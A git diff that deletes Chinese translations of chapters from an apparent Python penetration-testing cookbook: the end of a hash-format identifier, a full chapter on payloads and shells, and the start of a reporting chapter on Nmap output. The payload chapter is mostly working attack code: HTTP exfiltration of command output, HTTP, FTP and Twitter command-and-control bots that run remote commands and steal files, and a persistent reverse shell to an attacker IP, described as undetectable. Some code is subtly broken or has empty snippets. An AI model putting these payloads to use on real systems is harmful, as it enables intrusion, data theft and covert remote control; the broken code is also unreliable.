-("Blowfish(Eggdrop)", r"^\+[a-zA-Z0-9\/\.]{12}$"),
-("Blowfish(OpenBSD)", r"^\$2a\$[0-9]{0,2}?\$[a-zA-Z0- 9\/\.]{53}$"),
-("Blowfish crypt", r"^\$2[axy]{0,1}\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"),
-("DES(Unix)", r"^.{0,2}[a-zA-Z0-9\/\.]{11}$"),
-("MD5(Unix)", r"^\$1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
-("MD5(APR)", r"^\$apr1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
-("MD5(MyBB)", r"^[a-fA-F0-9]{32}:[a-z0-9]{8}$"),
-("MD5(ZipMonster)", r"^[a-fA-F0-9]{32}$"),
-("MD5 crypt", r"^\$1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
-("MD5 apache crypt", r"^\$apr1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"),
-("MD5(Joomla)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$"),
-("MD5(Wordpress)", r"^\$P\$[a-zA-Z0-9\/\.]{31}$"),
-("MD5(phpBB3)", r"^\$H\$[a-zA-Z0-9\/\.]{31}$"),
-("MD5(Cisco PIX)", r"^[a-zA-Z0-9\/\.]{16}$"),
-("MD5(osCommerce)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$"),
-("MD5(Palshop)", r"^[a-fA-F0-9]{51}$"),
-("MD5(IP.Board)", r"^[a-fA-F0-9]{32}:.{5}$"),
-("MD5(Chap)", r"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$"),
-("Juniper Netscreen/SSG (ScreenOS)", r"^[a-zA-Z0-9]{30}:[a-zA-Z0- 9]{4,}$"),
-("Fortigate (FortiOS)", r"^[a-fA-F0-9]{47}$"),
-("Minecraft(Authme)", r"^\$sha\$[a-zA-Z0-9]{0,16}\$[a-fA-F0- 9]{64}$"),
-("Lotus Domino", r"^\(?[a-zA-Z0-9\+\/]{20}\)?$"),
-("Lineage II C4", r"^0x[a-fA-F0-9]{32}$"),
-("CRC-96(ZIP)", r"^[a-fA-F0-9]{24}$"),
-("NT crypt", r"^\$3\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
-("Skein-1024", r"^[a-fA-F0-9]{256}$"),
-("RIPEMD-320", r"^[A-Fa-f0-9]{80}$"),
-("EPi hash", r"^0x[A-F0-9]{60}$"),
-("EPiServer 6.x < v4", r"^\$episerver\$\*0\*[a-zA-Z0-9]{22}==\*[a- zA-Z0-9\+]{27}$"),
-("EPiServer 6.x >= v4", r"^\$episerver\$\*1\*[a-zA-Z0- 9]{22}==\*[a-zA-Z0-9]{43}$"),
-("Cisco IOS SHA256", r"^[a-zA-Z0-9]{43}$"),
-("SHA-1(Django)", r"^sha1\$.{0,32}\$[a-fA-F0-9]{40}$"),
-("SHA-1 crypt", r"^\$4\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
-("SHA-1(Hex)", r"^[a-fA-F0-9]{40}$"),
-("SHA-1(LDAP) Base64", r"^\{SHA\}[a-zA-Z0-9+/]{27}=$"),
-("SHA-1(LDAP) Base64 + salt", r"^\{SSHA\}[a-zA-Z0- 9+/]{28,}[=]{0,3}$"),
-("SHA-512(Drupal)", r"^\$S\$[a-zA-Z0-9\/\.]{52}$"),
-("SHA-512 crypt", r"^\$6\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
-("SHA-256(Django)", r"^sha256\$.{0,32}\$[a-fA-F0-9]{64}$"),
-("SHA-256 crypt", r"^\$5\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
-("SHA-384(Django)", r"^sha384\$.{0,32}\$[a-fA-F0-9]{96}$"),
-("SHA-256(Unix)", r"^\$5\$.{0,22}\$[a-zA-Z0-9\/\.]{43,69}$"),
-("SHA-512(Unix)", r"^\$6\$.{0,22}\$[a-zA-Z0-9\/\.]{86}$"),
-("SHA-384", r"^[a-fA-F0-9]{96}$"),
-("SHA-512", r"^[a-fA-F0-9]{128}$"),
-("SSHA-1", r"^({SSHA})?[a-zA-Z0-9\+\/]{32,38}?(==)?$"),
-("SSHA-1(Base64)", r"^\{SSHA\}[a-zA-Z0-9]{32,38}?(==)?$"),
-("SSHA-512(Base64)", r"^\{SSHA512\}[a-zA-Z0-9+]{96}$"),
-("Oracle 11g", r"^S:[A-Z0-9]{60}$"),
-("SMF >= v1.1", r"^[a-fA-F0-9]{40}:[0-9]{8}&"),
-("MySQL 5.x", r"^\*[a-f0-9]{40}$"),
-("MySQL 3.x", r"^[a-fA-F0-9]{16}$"),
-("OSX v10.7", r"^[a-fA-F0-9]{136}$"),
-("OSX v10.8", r"^\$ml\$[a-fA-F0-9$]{199}$"),
-("SAM(LM_Hash:NT_Hash)", r"^[a-fA-F0-9]{32}:[a-fA-F0-9]{32}$"),
-("MSSQL(2000)", r"^0x0100[a-f0-9]{0,8}?[a-f0-9]{80}$"),
-("MSSQL(2005)", r"^0x0100[a-f0-9]{0,8}?[a-f0-9]{40}$"),
-("MSSQL(2012)", r"^0x02[a-f0-9]{0,10}?[a-f0-9]{128}$"),
-("TIGER-160(HMAC)", r"^[a-f0-9]{40}$"),
-("SHA-256", r"^[a-fA-F0-9]{64}$"),
-("SHA-1(Oracle)", r"^[a-fA-F0-9]{48}$"),
-("SHA-224", r"^[a-fA-F0-9]{56}$"),
-("Adler32", r"^[a-f0-9]{8}$"),
-("CRC-16-CCITT", r"^[a-fA-F0-9]{4}$"),
-("NTLM)", r"^[0-9A-Fa-f]{32}$"),
-)
-counter = 0
-for h in hashes:
- text = hashcheck(h[0], h[1], string_to_check)
- if text is not None:
- counter += 1
- print text
-if counter == 0:
- print "Your input hash did not match anything, sorry!"
-```
-
-## 它是如何工作的…
-
-在我们导入将要使用的模块`re`之后，我们开始构建我们的第一块代码，这将是我们脚本的核心。我们将尝试在整个脚本中使用常规命名，以使其更易于管理。我们之所以选择`hashcheck`这个名字就是因为这个原因。我们使用名称`hashtype`来表示代码 Regex 块中即将出现的哈希的名称，我们使用`regexstr`来表示 Regex，最后使用数据。
-
-我们创建一个名为`valid_hash`的字符串，并在遍历数据后给出迭代值的值，这只有在我们有有效匹配时才会发生。这可以进一步看到，我们给值结果提供了使用正则表达式检测到的匹配哈希值的名称。如果找到一个或多个匹配项，我们最终打印匹配项，并在末尾添加我们的`except`语句：
-
-```
-def hashcheck (hashtype, regexstr, data):
- try:
- valid_hash = re.finditer(regexstr, data)
- result = [match.group(0) for match in valid_hash]
- if result:
- return "This hash matches the format of: " + hashtype
- except: pass
-```
-
-然后我们要求用户输入，这样我们就有了与正则表达式匹配的内容。这是正常的：
-
-```
-string_to_check = raw_input('Please enter the hash you wish to check: ')
-```
-
-一旦完成了，我们就可以进入实质性的正则表达式 fu 了。我们使用正则表达式的原因是，我们可以区分不同的散列，因为它们具有不同的长度和字符集。这对 MD5 哈希非常有帮助，因为有许多不同类型的 MD5 哈希，如 phpBB3 和 MyBB 论坛。
-
-我们将正则表达式集命名为类似哈希的逻辑名称，然后定义它们：
-
-```
-hashes = (
-("Blowfish(Eggdrop)", r"^\+[a-zA-Z0-9\/\.]{12}$"),
-("Blowfish(OpenBSD)", r"^\$2a\$[0-9]{0,2}?\$[a-zA-Z0- 9\/\.]{53}$"),
-("Blowfish crypt", r"^\$2[axy]{0,1}\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"),
-("DES(Unix)", r"^.{0,2}[a-zA-Z0-9\/\.]{11}$"),
-("MD5(Unix)", r"^\$1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
-("MD5(APR)", r"^\$apr1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
-("MD5(MyBB)", r"^[a-fA-F0-9]{32}:[a-z0-9]{8}$"),
-("MD5(ZipMonster)", r"^[a-fA-F0-9]{32}$"),
-("MD5 crypt", r"^\$1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
-("MD5 apache crypt", r"^\$apr1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0- 9./]{1,}$"),
-("MD5(Joomla)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$"),
-("MD5(Wordpress)", r"^\$P\$[a-zA-Z0-9\/\.]{31}$"),
-("MD5(phpBB3)", r"^\$H\$[a-zA-Z0-9\/\.]{31}$"),
-("MD5(Cisco PIX)", r"^[a-zA-Z0-9\/\.]{16}$"),
-("MD5(osCommerce)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$"),
-("MD5(Palshop)", r"^[a-fA-F0-9]{51}$"),
-("MD5(IP.Board)", r"^[a-fA-F0-9]{32}:.{5}$"),
-("MD5(Chap)", r"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$"),
-[...cut out...]
-("NTLM)", r"^[0-9A-Fa-f]{32}$"),
-)
-```
-
-然后，我们需要找到一种方法，以可管理的方式将数据返回给用户，而不必在每次发现不匹配项时让他们知道。我们通过创建一个计数器来实现这一点。我们将此计数器的值设置为`0`并继续。然后，我们创建一个名为`text`的函数，如果找到匹配项，它将成为散列名称的值。然后使用`if`语句来防止我们前面提到的不需要的消息。我们告诉脚本如果`text is not none`找到了匹配项，那么我们提高计数器的值并打印文本。使用计数器理念意味着发现的任何不匹配项都不会增加计数器，因此不会打印给用户：
-
-```
-counter = 0
-for h in hashes:
- text = hashcheck(h[0], h[1], string_to_check)
- if text is not None:
- counter += 1
- print text
-```
-
-我们以尽可能礼貌的方式让用户知道是否没有匹配项来完成脚本！
-
-```
-if counter == 0:
- print "Your input hash did not match anything, sorry!"
-```
-
-下面是一些正在运行的脚本示例：
-
-```
-Please enter the hash you wish to check: ok
-No Matches
-
-```
-
-前面的结果没有找到匹配项，因为没有列出输出两个字符串的哈希系统。以下是成功查找的示例：
-
-```
-Please enter the hash you wish to check: fd7a4c43ad7c20dbea0dc6dacc12ef6c36c2c382a0111c92f24244690eba65a2
-This hash matches the format of: SHA-256
-
-```
\ No newline at end of file
diff --git a/trans/py-pentest-dev/25.md b/trans/py-pentest-dev/25.md
deleted file mode 100644
index 435ea80..0000000
--- a/trans/py-pentest-dev/25.md
+++ /dev/null
@@ -1,601 +0,0 @@
-# 第 8 章有效载荷和炮弹
-
-在本章中，我们将介绍以下主题：
-
-* 通过 HTTP 请求提取数据
-* 创建 HTTP C2
-* 创建 FTP C2
-* 创建 Twitter C2
-* 创建一个简单的 Netcat shell
-
-# 导言
-
-在本章中，我们将介绍如何在 Python 中创建反向 shell 和有效负载。一旦在 Linux 或 Mac 系统上发现上传漏洞，Python 有效负载将处于下一步的最佳位置。它们很容易制作或定制，以匹配特定的系统，具有明确的功能，最重要的是，几乎所有 Mac 和 Linux 系统默认都带有 Python2.7。
-
-# 通过 HTTP 请求提取数据
-
-我们将要创建的第一个脚本将使用一种非常简单的技术从目标服务器提取数据。有三个基本步骤：在目标上运行命令，通过 HTTP 请求将输出传输给攻击者，并查看结果。
-
-## 准备好了吗
-
-此配方需要攻击者可以访问的 web 服务器，以便接收来自目标的 HTTP 请求。幸运的是，Python 有一种非常简单的启动 web 服务器的方法：
-
-```
-$ Python –m SimpleHTTPServer
-
-```
-
-这将在端口`8000`上启动 HTTP web 服务器，提供当前目录中的所有文件。它接收到的任何请求都直接打印到控制台，这使它成为获取数据的一种非常快速的方法，因此是对该脚本的一个很好的补充。
-
-## 怎么做…
-
-这是将在服务器上运行各种命令并通过 web 请求传输输出的脚本：
-
-```
-import requests
-import urllib
-import subprocess
-from subprocess import PIPE, STDOUT
-
-commands = ['whoami','hostname','uname']
-out = {}
-
-for command in commands:
- try:
- p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
- out[command] = p.stdout.read().strip()
- except:
- pass
-
-requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))
-```
-
-## 它是如何工作的…
-
-导入后，脚本的第一部分将创建一个命令数组：
-
-```
-commands = ['whoami','hostname','uname']
-```
-
-这是三个标准 Linux 命令的示例，这些命令可以将有用的信息反馈给攻击者。注意，这里假设目标服务器正在运行 Linux。使用前几章中的脚本进行侦察，以确定目标的操作系统，并在必要时将此阵列中的命令替换为 Windows 等效命令。
-
-接下来，我们有主`for`循环：
-
-```
- p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
- out[command] = p.stdout.read().strip()
-```
-
-这部分代码执行命令并获取来自`subprocess`的输出（将标准输出和标准错误都传输到单个`subprocess.PIPE`）。然后将结果添加到 out 字典中。请注意，我们在这里使用了一个`try`和`except`语句，因为任何无法运行的命令都会导致异常。
-
-最后，我们有一个 HTTP 请求：
-
-```
-requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))
-```
-
-此使用`urllib.encode`将字典转换为 URL 编码的键/值对。这意味着可能影响 URL 的任何字符，例如，`&`或`=`，将转换为其 URL 编码的等效字符，例如，`%26`和`%3D`。
-
-注意，脚本端将没有输出；所有内容都在 HTTP 请求中传递给攻击者的 web 服务器（示例使用端口`8000`上的 localhost）。`GET`请求如下所示：
-
-
-
-# 创建 HTTP C2
-
-公然在 URL 中显示您的命令的问题是，即使是半睡半醒的日志分析师也会发现它。有多种隐藏请求的方法，但是当您不知道响应文本是什么样子时，您需要提供一种隐藏输出并将其返回到服务器的可靠方法。
-
-我们将创建一个脚本，该脚本将命令和控制活动屏蔽为 HTTP 流量，从网页上的注释中获取命令，并将输出返回到留言簿中。
-
-## 开始
-
-为此，您将需要一个功能正常的 web 服务器，它有两个页面，一个用来存放您的评论，另一个用来存放您的检索页面。
-
-您的评论页面应该只有标准内容。为此，我使用 Nginx 默认主页，并在最后添加注释。评论应表述为：
-
-```
-
-```
-
-检索页面可以简单到：
-
-```
-
-```
-
-基本上，这个 PHP 所做的就是在名为`comment`的`POST`请求中获取一个传入值，并将其放入数据库中。这是非常基本的，如果有多个 shell，它不会区分多个传入命令。
-
-## 怎么做…
-
-我们将使用的脚本如下所示：
-
-```
-import requests
-import re
-import subprocess
-import time
-import os
-
-while 1:
- req = requests.get("http://127.0.0.1")
- comments = re.findall('',req.text)
- for comment in comments:
- if comment = " ":
- os.delete(__file__)
- else:
- try:
- response = subprocess.check_output(comment.split())
- except:
- response = "command fail"
- data={"comment":(''.join(response)).encode("base64")}
- newreq = requests.post("http://notmalicious.com/c2.php", data=data)
- time.sleep(30)
-```
-
-下面显示了使用此脚本时生成的输出示例：
-
-```
-Name: TGludXggY2FtLWxhcHRvcCAzLjEzLjAtNDYtZ2VuZXJpYyAjNzktVWJ1bnR1IFNNU CBUdWUgTWFyIDEwIDIwOjA2OjUwIFVUQyAyMDE1IHg4Nl82NCB4ODZfNjQgeDg2X zY0IEdOVS9MaW51eAo= Comment:
-Name: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFl bW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9i aW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jp bi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5 bmM6L2JpbjovYmluL3N5bmMKZ Comment:
-```
-
-## 它是如何工作的…
-
-一如既往，我们导入必要的库并启动脚本：
-
-```
-import requests
-import re
-import subprocess
-import time
-import os
-```
-
-由于此脚本具有内置的自删除方法，我们可以通过以下循环将其设置为永远运行：
-
-```
-while 1:
-```
-
-我们请求检查预配置页面上是否有任何评论。如果有的话，我们会把它们列在一个列表中。我们使用非常基本的`regex`来执行此检查：
-
-```
- req = requests.get("http://127.0.0.1")
- comments = re.findall('',req.text)
-```
-
-我们要做的第一件事是检查是否有空评论。这对脚本来说意味着它应该删除自己，这是一种非常重要的不干涉 C2 脚本的机制。如果希望脚本删除自身，只需在页面上留下一条空注释。脚本通过查找自己的名称并删除该名称来删除自身：
-
-```
-for comment in comments:
- if comment = " ":
- os.delete(__file__)
-```
-
-如果注释不是空的，我们将尝试使用`subprocess`命令将其传递给系统。重要的是你要使用。`split()`在命令上说明`subprocess`如何处理多部分命令。我们使用`.check_output`将命令直接给出的任何输出返回给我们指定的变量：
-
-```
-else:
- try:
- response = subprocess.check_output(comment.split())
-```
-
-如果命令失败，我们将响应值设置为`command failed`：
-
-```
- except:
- response = "command fail"
-```
-
-我们获取这个`response`变量，并将其分配给一个与字典中的 PHP 脚本相匹配的键。在这种情况下，字段名为`comment`，因此我们将输出分配给注释。我们以输出为基础，以考虑任何随机变量，例如可能干扰脚本的空格或代码：
-
-```
-data={"comment":(''.join(response)).encode("base64")}
-```
-
-现在已经分配了数据，我们以`POST`请求将其发送到预配置的服务器，并等待`30`秒再次检查注释中的进一步说明：
-
-```
-newreq = requests.post("http://127.0.0.1/addguestbook.php", data=data)
- time.sleep(30)
-```
-
-# 创建 FTP C2
-
-这个脚本是一个快速而肮脏的文件盗窃工具。它沿着目录直线运行，捕捉它接触到的所有东西。然后将它们导出到指向的`FTP`目录。在可以删除文件并希望快速获取服务器内容的情况下，这是理想的起点。
-
-我们将创建一个连接到 FTP 的脚本，获取当前目录中的文件，并将它们导出到 FTP。然后跳转到下一个目录并重复。当它遇到两个相同的目录列表时（即，它已到达根目录），它将停止。
-
-## 开始
-
-为此，您需要一个运行正常的 FTP 服务器。我用的是`vsftpd`，但你可以随意使用。您需要将凭据硬编码到脚本中（不建议这样做），或者将凭据作为标志发送。
-
-## 怎么做…
-
-我们将使用的脚本如下所示：
-
-```
-from ftplib import FTP
-import time
-import os
-
-user = sys.argv[1]
-pw = sys.argv[2]
-
-ftp = FTP("127.0.0.1", user, pw)
-
-filescheck = "aa"
-
-loop = 0
-up = "../"
-
-while 1:
- files = os.listdir("./"+(i*up))
- print files
-
- for f in files:
- try:
- fiile = open(f, 'rb')
- ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
- fiile.close()
- else:
- pass
-
- if filescheck == files:
- break
- else:
- filescheck = files
- loop = loop+1
- time.sleep(10)
-ftp.close()
-```
-
-## 它是如何工作的…
-
-一如既往，我们导入库并设置变量。我们已将用户名和密码设置为`sys.argv`，以避免硬编码，从而暴露我们的系统：
-
-```
-from ftplib import FTP
-import time
-import os
-
-user = sys.argv[1]
-pw = sys.argv[2]
-```
-
-然后，我们使用 IP 地址和通过标志设置的凭据连接到 FTP。您也可以将 IP 作为`sys.argv`传递，以避免硬编码：
-
-```
-ftp = FTP("127.0.0.1", user, pw)
-```
-
-我为目录检查方法设置了一个与第一个目录不匹配的 nonce 值。我们还将循环设置为`0`，并将“up directory”命令配置为变量，类似于[第 3 章](20.html "Chapter 3. Vulnerability Identification")、*漏洞识别*中的目录遍历脚本：
-
-```
-filescheck = "aa"
-
-loop = 0
-up = "../"
-```
-
-然后我们创建我们的主循环以永远重复，并创建我们选择的目录调用。我们在调用的目录中列出文件，并为其分配一个变量。如果愿意，您可以选择在此处打印文件列表，就像我出于诊断目的所做的那样，但这没有什么区别：
-
-```
-while 1:
- files = os.listdir("./"+(i*up))
- print files
-```
-
-对于在目录中检测到的每个文件，我们将尝试打开它。我们使用`rb`打开文件很重要，因为这样可以将其作为二进制文件读取，从而可以作为二进制文件传输。如果它是可打开的，我们使用`storbinary`命令将其传输到 FTP。然后，我们关闭文件以完成交易：
-
-```
- try:
- fiile = open(f, 'rb')
- ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
- fiile.close()
-```
-
-如果出于任何原因，我们无法打开或传输文件，我们只需转到列表中的下一个：
-
-```
- else:
- pass
-```
-
-然后检查自上一个命令以来是否更改了目录。如果没有，我们将中断主循环：
-
-```
-if filescheck == files:
- break
-```
-
-如果目录列表不匹配，我们将`filecheck`变量设置为与当前目录匹配，通过`1`迭代循环，并休眠`10`秒，以避免滥发服务器：
-
-```
-else:
- filescheck = files
- loop = loop+1
- time.sleep(10)
-```
-
-最后，完成所有其他操作后，我们将关闭与 FTP 服务器的连接：
-
-```
-ftp.close()
-```
-
-# 创建推特 C2
-
-直到某一点，在互联网上请求随机页面是可以通过的，但一旦**安全运营中心**（**SOC**）分析师仔细查看正在消失的所有数据，很明显，这些请求将发送到一个不可靠的站点，因此可能与恶意流量有关。幸运的是，社交媒体在这方面起到了帮助作用，并允许我们将数据隐藏在显而易见的地方。
-
-我们将创建一个脚本，用于连接到 Twitter、读取推文、基于这些推文执行命令、加密响应数据并将其发布到 Twitter。我们还将制作一个解码脚本。
-
-## 开始
-
-为此，您需要一个具有 API 密钥的 Twitter 帐户。
-
-## 怎么做…
-
-我们将使用的脚本如下所示：
-
-```
-from twitter import *
-import os
-from Crypto.Cipher import ARC4
-import subprocess
-import time
-
-token = ''
-token_key = ''
-con_secret = ''
-con_secret_key = ''
-t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))
-
-while 1:
- user = t.statuses.user_timeline()
- command = user[0]["text"].encode('utf-8')
- key = user[1]["text"].encode('hex')
- enc = ARC4.new(key)
- response = subprocess.check_output(command.split())
-
- enres = enc.encrypt(response).encode("base64")
-
- for i in xrange(0, len(enres), 140):
- t.statuses.update(status=enres[i:i+140])
- time.sleep(3600)
-```
-
-解码脚本如下所示：
-
-```
-from Crypto.Cipher import ARC4
-key = "".encode("hex")
-response = ""
-enc = ARC4.new(key)
-response = response.decode("base64")
-print enc.decrypt(response)
-```
-
-正在进行的脚本的示例如下所示：
-
-
-
-## 它是如何工作的…
-
-我们照常导入我们的库。有许多 Twitter Python 库；我只是在使用[上提供的标准 twitter APIhttps://code.google.com/p/python-twitter/](https://code.google.com/p/python-twitter/) 。代码如下：
-
-```
-from twitter import *
-import os
-from Crypto.Cipher import ARC4
-import subprocess
-import time
-```
-
-为了满足 Twitter 认证要求，我们需要从[developer.Twitter.com](http://developer.twitter.com)的**应用页面**中检索**应用令牌**、**应用秘密**、**用户令牌**和**用户秘密**。我们将其分配给变量，并设置与 Twitter API 的连接：
-
-```
-token = ''
-token_key = ''
-con_secret = ''
-con_secret_key = ''
-t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))
-```
-
-我们设置了一个无限循环：
-
-```
-while 1:
-```
-
-我们调用已设置帐户的用户时间表。重要的是，此应用程序对 Twitter 帐户具有读写权限。然后，我们获取最近一条推文的最后一条文本。我们需要将其编码为 UTF-8，因为通常存在常规编码无法处理的字符：
-
-```
-user = t.statuses.user_timeline()
-command = user[0]["text"].encode('utf-8')
-```
-
-然后，我们使用 oxt 最后一条 tweet 作为加密密钥。我们将其编码为`hex`，以避免出现空间与空间匹配的情况：
-
-```
-key = user[1]["text"].encode('hex')
-enc = ARC4.new(key)
-```
-
-我们使用`subprocess`函数执行该操作。我们使用预设的向上 XORing 加密对输出进行加密，并将其编码为 base64：
-
-```
-response = subprocess.check_output(command.split())
-enres = enc.encrypt(response).encode("base64")
-```
-
-我们将加密和编码的响应分成 140 个字符的块，以允许 Twitter 字符上限。对于每个区块，我们创建一个 Twitter 状态：
-
-```
-for i in xrange(0, len(enres), 140):
- t.statuses.update(status=enres[i:i+140])
-```
-
-因为每一步都需要两条 tweet，所以我在每次命令检查之间留出了一个小时的间隔，但您自己很容易改变这一点：
-
-```
-time.sleep(3600)
-```
-
-对于解码，导入`RC4`库，将您的 key tweet 设置为 key，将重新组装的 base64 作为响应：
-
-```
-from Crypto.Cipher import ARC4
-key = "".encode("hex")
-response = ""
-```
-
-使用密钥设置新的`RC4`代码，解码 base64 中的数据，并使用密钥解密：
-
-```
-enc = ARC4.new(key)
-response = response.decode("base64")
-print enc.decrypt(response)
-```
-
-# 创建一个简单的 Netcat 外壳
-
-下面我们要创建的脚本利用原始套接字从网络中过滤数据。此 shell 的总体思想是通过 Netcat（或其他程序）会话在受损机器和您自己的机器之间创建连接，并以这种方式向机器发送命令。
-
-这个 Python 脚本的美妙之处在于它的不可检测性，因为它看起来是一个完全合法的脚本。
-
-## 怎么做…
-
-这是将通过 Netcat 建立连接并读取输入的脚本：
-
-```
-import socket
-import subprocess
-import sys
-import time
-
-HOST = '172.16.0.2' # Your attacking machine to connect back to
-PORT = 4444 # The port your attacking machine is listening on
-
-def connect((host, port)):
- go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- go.connect((host, port))
- return go
-
-def wait(go):
- data = go.recv(1024)
- if data == "exit\n":
- go.close()
- sys.exit(0)
- elif len(data)==0:
- return True
- else:
- p = subprocess.Popen(data, shell=True,
- stdout=subprocess.PIPE, stderr=subprocess.PIPE,
- stdin=subprocess.PIPE)
- stdout = p.stdout.read() + p.stderr.read()
- go.send(stdout)
- return False
-
-def main():
- while True:
- dead=False
- try:
- go=connect((HOST,PORT))
- while not dead:
- dead=wait(go)
- go.close()
- except socket.error:
- pass
- time.sleep(2)
-
-if __name__ == "__main__":
- sys.exit(main())
-```
-
-## 它是如何工作的…
-
-要正常启动脚本，我们需要导入将在整个脚本中使用的模块：
-
-```
-import socket
-import subprocess
-import sys
-import time
-```
-
-然后我们需要定义我们的变量：这些值是攻击机器的 IP 和端口，用于建立与以下设备的连接：
-
-```
-HOST = '172.16.0.2' # Your attacking machine to connect back to
-PORT = 4444 # The port your attacking machine is listening on
-```
-
-然后我们继续定义原始连接；然后，我们可以将一个值分配给已建立的值，稍后再参考该值来读取输入并发送标准输出。
-
-我们返回到之前设置并创建连接的主机和端口值。我们将已建立的连接的值指定为`go`：
-
-```
-def connect((host, port)):
- go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- go.connect((host, port))
- return go
-```
-
-然后我们可以引入代码块，为我们完成等待部分。这将等待通过攻击机器的 Netcat 会话向其发送命令。我们确保通过会话发送的数据通过管道传输到 shell 中，然后通过已建立的 Netcat 会话将其标准输出返回给我们，从而通过反向连接让我们能够访问 shell。
-
-我们将名称数据指定给通过 Netcat 会话传递给受损机器的值。向脚本添加值，以在用户完成时退出会话；我们为此选择了`exit`，这意味着进入 Netcat 会话的退出将终止已建立的连接。然后，我们深入到数据被打开（读取）并通过管道传输到外壳中的基本部分。完成后，我们将确保读取`stdout`值并给出`stdout`值（可以是任何值），然后通过之前建立的`go`会话将其发送回我们自己。代码如下：
-
-```
-def wait(go):
- data = go.recv(1024)
- if data == "exit\n":
- go.close()
- sys.exit(0)
- elif len(data)==0:
- return True
- else:
- p = subprocess.Popen(data, shell=True,
- stdout=subprocess.PIPE, stderr=subprocess.PIPE,
- stdin=subprocess.PIPE)
- stdout = p.stdout.read() + p.stderr.read()
- go.send(stdout)
- return False
-```
-
-脚本的最后一部分是错误检查和运行部分。在脚本运行之前，我们确保让 Python 知道我们有一种机制，可以通过使用前面的 true 语句检查会话是否处于活动状态。如果连接丢失，Python 脚本将尝试重新建立与攻击机器的连接，使其成为持久后门：
-
-```
-def main():
- while True:
- dead=False
- try:
- go=connect((HOST,PORT))
- while not dead:
- dead=wait(go)
- go.close()
- except socket.error:
- pass
- time.sleep(2)
-
-if __name__ == "__main__":
- sys.exit(main())
-```
\ No newline at end of file
diff --git a/trans/py-pentest-dev/26.md b/trans/py-pentest-dev/26.md
deleted file mode 100644
index 49b8a11..0000000
--- a/trans/py-pentest-dev/26.md
+++ /dev/null
@@ -1,525 +0,0 @@
-# 第 9 章报告
-
-在本章中，我们将介绍以下主题：
-
-* 将 Nmap XML 转换为 CSV
-* 从 URL 中提取链接到
-* 将电子邮件提取到 Maltego
-* 将 Sslscan 解析为 CSV
-* 使用`plot.ly`生成图形
-
-# 导言
-
-我们在本模块中提供了执行 web 应用程序测试各个方面的方法。所以，我们得到了所有这些信息。我们已经从我们的食谱中获得了控制台输出，但是我们如何将所有这些收集成有用的格式呢？理想情况下，我们希望输出的格式可以使用。或者，我们可能希望将另一个应用程序（如 Nmap）的输出转换为我们正在使用的格式。它可以是**逗号分隔变量**（**CSV**），也可以是 Maltego 转换，或者您想要使用的任何其他格式。
-
-你刚才提到的这件事是什么？我听到你问。Maltego 是一款**开源智能****OSIT**和取证应用软件。它有一个漂亮的 GUI，可以帮助您以一种漂亮、容易理解的方式可视化信息。
-
-# 将 Nmap XML 转换为 CSV
-
-Nmap 是在 web 应用程序测试的侦察阶段使用的通用工具。它通常用于扫描具有多种选项的端口，以帮助您根据自己的喜好定制扫描。例如，您想使用 TCP 还是 UDP？您要设置什么 TCP 标志？是否有您想要运行的特定 Nmap 脚本，例如检查**网络时间协议**（**NTP**）反射，但要在非默认端口上运行？这个清单可能是无穷无尽的。
-
-Nmap 输出易于阅读，但不易于以编程方式使用。这个简单的方法将从 Nmap 转换 XML 输出（通过运行 Nmap 扫描时使用–oX 标志），并将其转换为 CSV 输出。
-
-## 准备好了吗
-
-虽然这个配方的实现非常简单，但您需要安装 Python 的`nmap`模块。您可以使用`pip`或从源文件构建它。您还需要 Nmap 扫描的 XML 输出。您可以通过扫描您选择的易受攻击的虚拟机或您有权在其上运行扫描的站点来实现此目的。您可以按原样使用 Nmap，也可以在 Python 脚本中使用 Python 的`nmap`模块来实现这一点。
-
-## 怎么做…
-
-就像我前面提到的，这个食谱很简单。这主要是因为`nmap`图书馆为我们做了大部分艰苦的工作。
-
-下面是我们将用于此任务的脚本：
-
-```
-import sys
-import os
-import nmap
-
-nm=nmap.Portscanner()
-with open(“./nmap_output.xml”, “r”) as fd:
- content = fd.read()
- nm.analyse_nmap_xml_scan(content)
- print(nm.csv())
-```
-
-## 它是如何工作的…
-
-因此，在导入必要的模块之后，我们必须初始化 Nmap 的`Portscanner`函数。虽然我们不会在此配方中进行任何端口扫描，但这是允许我们使用对象中的方法所必需的：
-
-```
-nm=nmap.Portscanner()
-```
-
